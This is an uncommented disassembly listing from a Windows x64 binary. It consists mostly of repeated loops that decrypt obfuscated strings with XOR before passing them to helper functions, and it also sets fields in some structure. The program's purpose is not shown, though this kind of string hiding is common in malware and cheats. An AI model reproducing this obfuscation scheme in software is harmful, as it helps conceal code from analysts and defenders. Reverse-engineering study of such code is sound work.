packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5d4]
xorps xmm2, xmm1
movd dword [rbp + 0x5d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5d0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a4e50
lea r8, [0x1401a982b]
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0x5d0]
call fcn.14007f300
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401ab1f3], 0
je 0x1400a55e7
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movsd xmm0, qword [0x140145b38]
movsd qword [rbp + 0x810], xmm0
mov eax, dword [0x140145b40]
mov dword [rbp + 0x818], eax
movzx eax, byte [0x140145b44]
mov byte [rbp + 0x81c], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a502f
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145b38]
xorps xmm2, xmm0
movd dword [rbp + 0x810], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x814]
xorps xmm2, xmm1
movd dword [rbp + 0x814], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x810]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400a5040
movsd xmm0, qword [str.hubyo]
movsd qword [rbp + 0x5e0], xmm0
mov eax, dword [0x140144fd0]
mov dword [rbp + 0x5e8], eax
cmp byte [0x140144fd3], 0
je 0x1400a51f0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a51ae
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.hubyo]
xorps xmm2, xmm0
movd dword [rbp + 0x5e0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5e4]
xorps xmm2, xmm1
movd dword [rbp + 0x5e4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5e0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a51c0
mov r9b, 1
movss xmm0, dword [0x1401493d4]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0x810]
lea rcx, [rbp + 0x5e0]
call fcn.14007f140
call fcn.140080200
call fcn.14000cdc0
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.140016940
movups xmm0, xmmword [0x140146b68]
movups xmmword [rbp + 0xc98], xmm0
movzx eax, word [0x140146b78]
mov word [rbp + 0xca8], ax
cmp byte [0x140146b79], 0
je 0x1400a53f0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a53a9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xc9c]
mov edx, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a52a0
cmp r8d, 0x12
jge 0x1400a53f0
movsxd rax, r8d
lea r9, [rbp + 0xc98]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400a53c0
movups xmm0, xmmword [0x140146d08]
movups xmmword [rbp + 0xcb0], xmm0
movzx eax, word [0x140146d18]
mov word [rbp + 0xcc0], ax
cmp byte [0x140146d19], 0
je 0x1400a55b0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a5569
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xcb4]
mov edx, dword [rbp + 0x17a0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a5460
cmp r8d, 0x12
jge 0x1400a55b0
movsxd rax, r8d
lea r9, [rbp + 0xcb0]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x1400a5580
mov r9b, 1
movss xmm8, dword [0x1401493d0]
unpcklps xmm8, xmm9
movq r8, xmm8
lea rdx, [rbp + 0xc98]
lea rcx, [rbp + 0xcb0]
call fcn.14007f140
call fcn.140080ff0
call fcn.14000cdc0
jmp 0x1400ac87a
cmp byte [0x1401a9838], 0
je 0x1400a7380
addss xmm7, xmm6
subss xmm7, xmm12
addss xmm8, xmm12
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
movss dword [rax + 0x118], xmm8
movss dword [rax + 0x11c], xmm7
mov byte [rax + 0x159], 1
subss xmm9, xmm15
movups xmm0, xmmword [0x1401459c0]
movups xmmword [rbp + 0xb48], xmm0
movzx eax, byte [0x1401459d0]
mov byte [rbp + 0xb58], al
mov r8d, r13d
cmp r12d, 2
jl 0x1400a579a
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xb4c]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a5691
cmp r8d, 0x11
jge 0x1400a57e0
movsxd rax, r8d
lea r9, [rbp + 0xb48]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x1400a57b0
movsd xmm0, qword [0x140144bd0]
movzx eax, byte [0x140144bd8]
movsd qword [rbp + 0x2f0], xmm0
mov byte [rbp + 0x2f0], 0x47
xor byte [rbp + 0x2f1], 0x39
xor byte [rbp + 0x2f2], 0x3a
xor byte [rbp + 0x2f3], 0x3b
xor byte [rbp + 0x2f4], 0x3c
xor byte [rbp + 0x2f5], 0x3d
xor byte [rbp + 0x2f6], 0x3e
xor byte [rbp + 0x2f7], 0x3f
xor al, 0x40
mov byte [rbp + 0x2f8], al
mov r9b, 1
movss xmm0, dword [0x1401493c0]
unpcklps xmm0, xmm9
movq r8, xmm0
lea rdx, [rbp + 0xb48]
lea rcx, [rbp + 0x2f0]
call fcn.14007f140
movups xmm0, xmmword [0x140145930]
movups xmmword [rbp + 0xf80], xmm0
mov eax, dword [0x140145940]
mov dword [rbp + 0xf90], eax
movzx eax, word [0x140145944]
mov word [rbp + 0xf94], ax
cmp byte [0x140145945], 0
je 0x1400a5a30
mov r8d, r13d
cmp r12d, 2
jl 0x1400a59e9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xf84]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a58e0
cmp r8d, 0x16
jge 0x1400a5a30
movsxd rax, r8d
lea r9, [rbp + 0xf80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400a5a00
movsd xmm0, qword [0x140145278]
movsd qword [rbp + 0x390], xmm0
movzx eax, word [0x140145280]
mov word [rbp + 0x398], ax
cmp byte [0x140145281], 0
je 0x1400a5aa1
mov byte [rbp + 0x390], Ordinal_79
xor byte [rbp + 0x391], 0x39
xor byte [rbp + 0x392], 0x3a
xor byte [rbp + 0x393], 0x3b
xor byte [rbp + 0x394], 0x3c
xor byte [rbp + 0x395], 0x3d
xor byte [rbp + 0x396], 0x3e
xor byte [rbp + 0x397], 0x3f
xor byte [rbp + 0x398], 0x40
xor byte [rbp + 0x399], 0x41
lea r8, [0x1401a9833]
lea rdx, [rbp + 0xf80]
lea rcx, [rbp + 0x390]
call fcn.14007f300
movups xmm0, xmmword [0x1401450b8]
movups xmmword [rbp + 0xfe0], xmm0
mov eax, dword [0x1401450c8]
mov dword [rbp + 0xff0], eax
movzx eax, word [0x1401450cc]
mov word [rbp + 0xff4], ax
cmp byte [0x1401450cd], 0
je 0x1400a5c80
mov r8d, r13d
cmp r12d, 2
jl 0x1400a5c3b
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0xfe4]
mov edx, dword [rbp + 0x17a0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400a5b32
cmp r8d, 0x16
jge 0x1400a5c80
movsxd rax, r8d
lea r9, [rbp + 0xfe0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400a5c50
movsd xmm0, qword [0x140144328]
movsd qword [rbp + 0x3a0], xmm0
movzx eax, word [0x140144330]
mov word [rbp + 0x3a8], ax
cmp byte [0x140144331], 0
je 0x1400a5cf1
mov byte [rbp + 0x3a0], Ordinal_79
xor byte [rbp + 0x3a1], 0x39
xor byte [rbp + 0x3a2], 0x3a
xor byte [rbp + 0x3a3], 0x3b
xor byte [rbp + 0x3a4], 0x3c
xor byte [rbp + 0x3a5], 0x3d
xor byte [rbp + 0x3a6], 0x3e
xor byte [rbp + 0x3a7], 0x3f
xor byte [rbp + 0x3a8], 0x40
xor byte [rbp + 0x3a9], 0x41
lea r8, [0x1401a9831]
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x3a0]
call fcn.14007f300
movups xmm0, xmmword [0x140145168]
movups xmmword [rbp + 0x10a0], xmm0
movsd xmm0, qword [0x140145178]
movsd qword [rbp + 0x10b0], xmm0
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x1400a5ec0
cmp r12d, 2
jl 0x1400a5e82
movdqa xmm5, xmmword [0x140149500]
mov edx, r13d
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x10a4]
mov r8d, dword [rbp + 0x17a0]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x1400a5d80
jmp 0x1400a5ec0
lea r9, [rbp + 0x10a0]
mov r8d, r13d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x1400a5e90
movsd xmm0, qword [0x140145540]
movsd qword [rbp + 0x5f0], xmm0
mov eax, dword [0x140145548]
mov dword [rbp + 0x5f8], eax
cmp byte [0x14014554b], 0
je 0x1400a6040
mov r8d, r13d
cmp r12d, 2
jl 0x1400a5ffe
movdqa xmm4, xmmword [0x140149820]
movdqa xmm2, xmmword [0x140149500]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
mov eax, dword [str.8888888888888888]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140145540]
xorps xmm2, xmm0
movd dword [rbp + 0x5f0], xmm2
movdqa xmm3, xmmword [0x140149570]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140149590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5f4]
xorps xmm2, xmm1
movd dword [rbp + 0x5f4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x5f0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400a6010
lea r8, [0x1401a9836]
lea rdx, [rbp + 0x10a0]
lea rcx, [rbp + 0x5f0]
call fcn.14007f300
movzx eax, word [0x1401458e8]
movups xmm0, xmmword [0x1401458d0]
mov word [rbp + 0x1228], ax
movups xmmword [rbp + 0x1210], xmm0
movzx eax, byte [0x1401458ea]
movsd xmm0, qword [0x1401458e0]
mov byte [rbp + 0x122a], al
movsd qword [rbp + 0x1220], xmm0
mov r8d, r13d
cmp r12d, 2
jl 0x1400a61e9
movdqa xmm5, xmmword [0x140149500]
movdqa xmm4, xmmword [0x140149820]
movdqa xmm6, xmmword [0x140149590]
movdqa xmm0, xmmword [str.8888888888888888]
movdqa xmmword [rbp + 0x17a0], xmm0
lea rcx, [rbp + 0x1214]
mov edx, dword [rbp + 0x17a0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140149690]
packuswb xmm2, xmm2
movd xmm0, edx
